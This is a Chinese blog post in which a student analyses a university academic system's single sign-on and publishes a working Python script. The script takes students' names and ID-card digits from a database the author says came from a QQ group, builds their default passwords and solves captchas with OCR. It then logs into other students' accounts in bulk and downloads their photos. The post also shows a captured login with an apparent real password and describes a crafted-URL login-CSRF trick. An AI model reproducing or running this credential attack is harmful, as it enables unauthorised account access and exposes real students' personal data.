前言

刚学习python,觉得比较枯燥总不知道从哪里入手,偶然一次,同学让我帮忙看看选课,发给我的是学校统一的默认格式的密码,突然就想试试有多少人还是默认密码,从QQ群里找了一份学生信息尝试了一下,发现默认密码的还是挺多的,我就想是不是可以通过脚本来做一些有趣的事情。

分析过程

a.大致思路

打开学校教务处官网,正常登陆一波,发现页面跳转到http://210.41.224.117/Login/xLogin/Login.asp

填写密码登陆,发现登陆页面又跳转回到了教务处!

流程就是教务处点击登录,页面被带到一个认证平台认证,成功后回到教务处。

这样看太过于笼统,抓包分析一下。

这是登录前从教务处到认证平台的过程,有好几个302,仔细看了一下大致是从http://jxgl.cuit.edu.cn/JXGL/xs/MainMenu.asp页面,跳转到一个可能是判断用户是否登录的页面,然后在跳到http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp这个页面,之后跳转到认证页面http://210.41.224.117/Login/qqLogin.asp

这大概是个单点登陆的过程

关于单点登录SSO

一、什么是单点登录SSO(Single Sign-On)

  SSO是一种统一认证和授权机制,指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护资源时,不再需要重新登录验证。

简单点说,就是一个帐号,多个系统都能使用,且只要登录第一个系统,待认证通过后,其它系统可以直接使用,而不需要再次登录.

二、为什么要用

  • 提高用户的效率。用户不再被多次登录困扰,也不需要记住多个 ID 和密码。另外,用户忘记密码并求助于支持人员的情况也会减少。

  • 提高开发人员的效率。SSO 为开发人员提供了一个通用的身份验证框架。实际上,如果 SSO 机制是独立的,那么开发人员就完全不需要为身份验证操心。他们可以假设,只要对应用程序的请求附带一个用户名,身份验证就已经完成了。

  • 简化管理。如果应用程序加入了单点登录协议,管理用户帐号的负担就会减轻。简化的程度取决于应用程序,因为 SSO 只处理身份验证。所以,应用程序可能仍然需要设置用户的属性(比如访问特权)。

三、SSO实现机制

SSO大概有以下几种方式实现:

  • 共享Cookie

    当我们的子系统都在一个父级域名下时,我们可以将Cookie种在父域下,这样浏览器同域名下的Cookie则可以共享,这样可以通过Cookie加解密的算法获取用户SessionID,从而实现SSO。

    但是,后面我们发现这种方式有几种弊端:

    a. 所有同域名的系统都能获取SessionID,易被修改且不安全;

    b. 跨域无法使用。

    所以到后面抛弃这种做法。

  • Ticket验证

    这种实现的SSO有以下几个步骤:

    a. 用户访问某个子系统,发现如果未登录,则引导用户跳转到SSO登录页面;

    b. 判断SSO是否已经登录;

    c. 如果已经登录,直接跳转到回调地址,并返回认证ticket;

    d. 如果未登录,用户正确输入用户名/密码,认证通过跳转到回调地址,并返回认证ticket;

    e. 子系统获取ticket,调用SSO获取用户uid等信息,成功后让用户登录。

Ticket验证时序图

四、学校网站登陆的实现

a. 学生访问某个子系统如教务处,发现如果未登录,发送一个带OSid参数的地址引导用户跳转到SSO登录页面;

b. 通过判断OSid来判断SSO是否已经登录;

c. 如果已经登录,直接跳转到回调地址,服务器端认证当前OSid;

d. 如果未登录,用户正确输入用户名/密码,认证通过跳转到回调地址;

e. 子系统获取OSid,调用SSO获取用户uid等信息,成功后让用户登录。

b.思路分析

对数据包进行具体的分析

发现具体setcookie和分配OSid是在这个页面http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp

我只需要先访问一次这个页面,获取了cookie和OSid即可,打开一个会话通过提交OSid参数访问认证平台,认证通过了即代表我教务处的回话处于登录状态。

知道过程还需要知道登录时具体需要哪些参数,看一下具体post的内容

POST /Login/xLogin/Login.asp HTTP/1.1
Host: 210.41.224.117
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://210.41.224.117/Login/xLogin/Login.asp
Cookie: ASPSESSIONIDQAABSBDB=GELMKBJBABOODECPPGIDDKMC
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 122 WinW=2560&WinH=1080&txtId=2016122150&txtMM=WYH020257a&verifycode=rew&codeKey=19056&Login=Check&IbtnEnter.x=0&IbtnEnter.y=0

WinW=2560&WinH=1080这两个是屏幕分辨率,txtId=2016122150&txtMM=WYH020257a这两个是账号密码,verifycode=rew这是验证码,codeKey=19056这是一个判断页面是否是同一个页面的参数这个试了好久发现这个修改一下就认证不起,这个具体参数在第一次请求的源码里面可以找到

c.实现过程

1.新建会话访问http://210.41.224.117/Login/xLogin/Login.asp首先获取OSid,和cookie,还有codeKey

2.获取验证码http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484(这里k就是之前获取的codeKey)

3.提交数据登录http://210.41.224.117/Login/xLogin/Login.asp

4.判断登录状态,获取头像

代码

xx.py

#coding=utf-8
from requests import get,post,Session
import re
import MySQLdb
import hz
import os
import string
import pytesseract
from PIL import Image
login_heard = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36",
"Referer": "http://210.41.224.117/Login/xLogin/Login.asp"
}
postdata = {
"WinW": "2560",
"WinH": "1080",
"txtId": "",
"txtMM":"",
"verifycode":"",
"codeKey":'',
"Login":"Check",
"IbtnEnter.x":62,
"IbtnEnter.y":54
} loginurl="http://210.41.224.117/Login/xLogin/Login.asp"
codeurl="http://210.41.224.117/Login/xLogin/yzmDvCode.asp?k=%s&t=1480853802484" #验证码
getpicurl="http://210.41.224.117/Login/GetZpPic.asp" #获取头像
jwclogin="http://jxgl.cuit.edu.cn/Jxgl/Login/tyLogin.asp" #获取uid
jwclogout="http://jxgl.cuit.edu.cn/Jxgl/UserPub/Logout.asp?UTp=Xs"#注销登录 class student():
id =""
ClassID = ""
gread = ""
zhuanye = ""
name = ""
passwd = ""
def __init__(self,ID):
self.id = ID
self.passwd = getpass(id)
#print passwd,id def getxx(StudentID):
db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8")
cursor = db.cursor()
sql = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE StudentID= %s" %StudentID
cursor.execute(sql)
xx = cursor.fetchall()
db.close()
return xx def getid_0(gread,zhuanye,ClassID):
db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8")
cursor = db.cursor()
sql = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE `ClassID` = '%s' and zyid=%s and gread = %s" %(ClassID,zhuanye,gread)
cursor.execute(sql)
id = cursor.fetchall()
db.close()
#print sql
return id def getid_1(gread):
db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8")
cursor = db.cursor()
sql1 = "SELECT StudentID,ClassID,zyid,Gread FROM cuit.xsxx WHERE Gread = %d " %(gread) cursor.execute(sql1)
id = cursor.fetchall()
db.close()
#print sql
return id def getpass(id):
db = MySQLdb.connect("192.168.14.1","root","root","cuit",charset="utf8")
cursor = db.cursor()
sql = "select CONCAT(Name,RIGHT(IDcard,6)) from cuit.xsxx where StudentID = '%s'" %id
cursor.execute(sql)
data = cursor.fetchone()
password=u'%s' %data
#print(password)
password = hz.main(password)
password=password+"a"
db.close()
return password def getcode(code):
image = Image.open(code)
vcode = pytesseract.image_to_string(image)
vcode = re.sub(r'\W',"",vcode)
return str(vcode) def login(xiaomin,path):
S = Session()
# 先访问login页面,拿cookies,codeKey
R_1 = S.get(loginurl,headers=login_heard)
R_1.encoding = "GB2312" #匹配codekey 格式:var codeKey = '587913';
codeKey = re.findall("var codeKey = '(.*)';", R_1.text)
postdata["codeKey"]=str(codeKey[0])
flag = -1
changdu = 0
while flag == -1:
changdu = changdu +1
#使用code去刷新验证码
R_yzm = S.get(codeurl % codeKey[0],headers=login_heard)
#保存验证码
with open("code.bmp", "wb") as code:
code.write(R_yzm.content) yzm=getcode("code.bmp") postdata["verifycode"]=yzm
postdata["txtId"]=xiaomin.id
postdata["txtMM"]=xiaomin.passwd R_post = S.post(loginurl,headers=login_heard,data=postdata)
R_post.encoding = "gbk" if "LoginOK!" in R_post.text :
flag = 1
print (str(xiaomin.id)+":"+str(xiaomin.passwd))
if u"验证码不匹配,请重新输入验证码!" in R_post.text :
flag = -1
#print ("验证码错误!")
if u"用户名和密码均区分大小写,其中至少一项输入有误,请重新输入!" in R_post.text :
flag = 0
print (str(id)+":密码错误!")
#print postdata["txtMM"]
#print postdata if flag == 1:
# 请求头像
R_face = S.get(getpicurl,headers=login_heard)
with open(path+"/"+id+".jpg", "wb") as code:
code.write(R_face.content)
#END = S.get(jwclogouturl,headers=login_heard)
print "长度:%d"%changdu def find(way):
if way == 1:
ids = getxx(raw_input('学号:'))
if way == 2:
gread = input(' 年级:')
zhuanye = input('专业代码:')
ClassID = input('班级序号:')
ids = getid_0(gread,zhuanye,ClassID)
elif way == 3:
gread = input('年级:')
ids = getid_1(gread)
return ids ids = find(int(input('查询方式:')))
len = len(ids)
for i in range(0,len):
id=ids[i][0]
xiaomin = student(id)
ClassID= ids[i][1]
zhuanye=ids[i][2]
gread=ids[i][3]
path = "./"+str(gread)+"/"+str(zhuanye)+"/"+str(ClassID)
if (not os.path.exists(path)):
os.makedirs(path)
if (not os.path.exists(path+"/"+id+".jpg")):
login(xiaomin,path)

思考

1.登录时验证方式简单,造成csrf

仔细推敲一下他的逻辑,在认证平台只是通过OSid来识别用户,如果我拿带有我的cookie获得的OSid的url去诱骗其他用户点击,或者只需要用户认证平台的会话处于已经认证的状态,只需要打开我构造好的url即可实现

实现过程:

1.a用户(攻击者)新建个网页打开教务处点击登录,抓包找到这么一个请求http://210.41.224.117/Login/qqLogin.asp?Oid=jxgl%2Ecuit%2Eedu%2Ecn&OSid=594722713

2.换个浏览器模拟b用户(受害者),打开刚刚那个获取的url,点击登录,如果第二个用户本身已经登陆过的话,只需要打开这个链接即可!

3.a用户这时候重新点登录,发现已经成功登陆,这里头像没有加载出来的原因是头像都是来自于认证平台,而我们只是获得了教务处的信任

2.要记得修改容易被猜出来的密码

python学习中遇到的一些问题:

1.验证码:使用的pytesseract模块,识别率不高,平均十五个识别出一个

2.汉字转为汉语拼音,构造密码的时候遇到的,找的网上的一段算法

3.主要是把登录逻辑搞清楚,一切都好解决

相关链接:

sso单点认证:

http://blog.csdn.net/lishehe/article/details/40196353

http://dev.cmcm.com/archives/238

oauth:

http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

Requests 库的高级用法:

http://docs.python-requests.org/zh_CN/latest/user/advanced.html

教务处sso设计缺陷的更多相关文章

  1. 转:Javascript的10个设计缺陷

    作者: 阮一峰 日期: 2011年6月30日 前几篇文章,我经常说Javascript的设计不够严谨,有很多失误. 今天的这一篇,前半部分就谈为什么会这样,后半部分将列举Javascript的10个设 ...

  2. SSLv3存在严重设计缺陷漏洞(CVE-2014-3566)

    SSLv3存在严重设计缺陷漏洞(CVE-2014-3566) 1.引发问题的原因 SSLv3漏洞(CVE-2014-3566),该漏洞贯穿于所有的SSLv3版本中,利用该漏洞,黑客可以通过中间人攻击等 ...

  3. 为什么Javascript有设计缺陷

    1. 设计阶段过于仓促 Javascript的设计,其实只用了十天.而且,设计师是为了向公司交差,本人并不愿意这样设计(参见<Javascript诞生记>). 另一方面,这种语言的设计初衷 ...

  4. JavaScript中变量提升是语言设计缺陷

    首先纠正下,文章标题里的 “变量提升” 名词是随大流叫法,“变量提升” 改为 “标识符提升” 更准确.因为变量一般指使用 var 声明的标识符,JS 里使用 function 声明的标识符也存在提升( ...

  5. 基于Spring的简易SSO设计

    通常稍微规模大一些的企业,内部已经有很多的应用系统,多个系统整合首先要解决的便是“统一登录(SSO)”问题,之前写过一篇 利用Membership实现SSO(单点登录) ,java环境下已经有一些开源 ...

  6. datagrid直接编辑保存“设计缺陷”

    当今使用easyUI的datagrid组件的时候,碰到了一些问题,记录下来以便下次高速解决. 需求是在一张表单里会关联有一个列表,能够增删查改 曾经没用easyUI的时候,这个增和改的页面我通常是用一 ...

  7. Android4.0 Design之UI设计缺陷1

    我想成为Android卓越发展project联赛,不知道Android它如何设计规则,Android4.0谷歌公司的问世后Android一系列的设计原则,程序猿规范,不要盲目模仿IOS它的设计,由于A ...

  8. Intel 设计缺陷背后的原因是什么? | Linux 中国

    版权声明:本文为博主原创文章.未经博主同意不得转载. https://blog.csdn.net/F8qG7f9YD02Pe/article/details/79386769 wx_fmt=jpeg& ...

  9. AutoResetEvent 方法名称设计缺陷

    这个类和方法,让人乍一读是读不明白的.不能通过方法名称明白其含义.所以它的方法名称设计是欠考虑. 应该类似于这样: public static class MyAutoResetEvent { pub ...

随机推荐

  1. linux netstat 命令详解

    linux netstat 命令详解 1.功能与说明 netstat 用于显示linux中各种网络相关信息.如网络链接 路由表  接口状态链接 多播成员等等. 2.参数含义介绍 -a (all)显示所 ...

  2. 刨根问底儿 -- intVal($str) 跟 (int) $str 的运算结果有什么区别

    intVal($str) 跟 (int) $str 都是把其他类型的变量转化为int型变量的方式,这么多年来我一直森森滴怀疑它们的运算结果在某些条件下会有区别.对于我的疑问,文档里也没有多说(或者我没 ...

  3. 直插式精巧I/O模块:WIZ812MJ数据手册V1.1

    1. 简介 WIZ812MJ是一款内嵌了W5100(硬件TCP/IP芯片,内置PHY).带其他胶合逻辑的MAG-JACK(带变压器的RJ45)网络模块.它可以当作一个组件使用,而且不需要为W5100和 ...

  4. Swift3.0服务端开发(三) Mustache页面模板与日志记录

    本篇博客主要介绍如果在Perfect工程中引入和使用Mustache页面模板与日志记录系统.Mustache页面模板类似于PHP中的smarty模板引擎或者Java中的JSTL标签.当然Mustach ...

  5. 解决浏览器兼容问题的css hack

    原理 由于不同的浏览器对CSS的支持及解析结果不一样,还由于CSS中的优先级的关系.我们就可以根据这个来针对不同的浏览器来写不同的CSS.CSS Hack大致有3种表现形式,CSS类内部Hack.选择 ...

  6. Spring MVC---基于注解的控制器

                                     基于注解的控制器 SpringMVC是一个基于DispatcherServlet的MVC框架,每个请求最先访问的是Dispatcher ...

  7. Unity在安卓的一些路径

    APK安装之后找不到路径 公司的测试机(安卓)基本都是不带SD卡的. APK在安卓手机上安装之后,使用手机助手类的软件打开文件管理,打开 内置SDK卡/Android/data/ 在这个目录下却发现 ...

  8. PHP5.6通过CURL上传图片@符无效的兼容问题

    今天本来想试试一个图片云的API,于是本地做了个上传图片的测试,结果灰常郁闷的发现以前一直用的好好的CURL上传图片居然死活不起作用,本来几分钟搞定的事情,结果折腾了大半天才终于找到原因,居然是兼容性 ...

  9. IOS GCD使用实例大全

    GCD是大家在IOS开发过程中经常使用的一种多线程管理机制.原理这里就不多说了,大家关心的大部分都是它的使用,下面主要介绍GCD的主要方法及其实例. 1.认识主队列,感受串行队列的运行,运行结果打印的 ...

  10. Git创建空白新分支

    向分支提交一个初始的空commit,保证完全复位. 创建并切换新分支 git branch <new_branch> git checkout <new_branch> git ...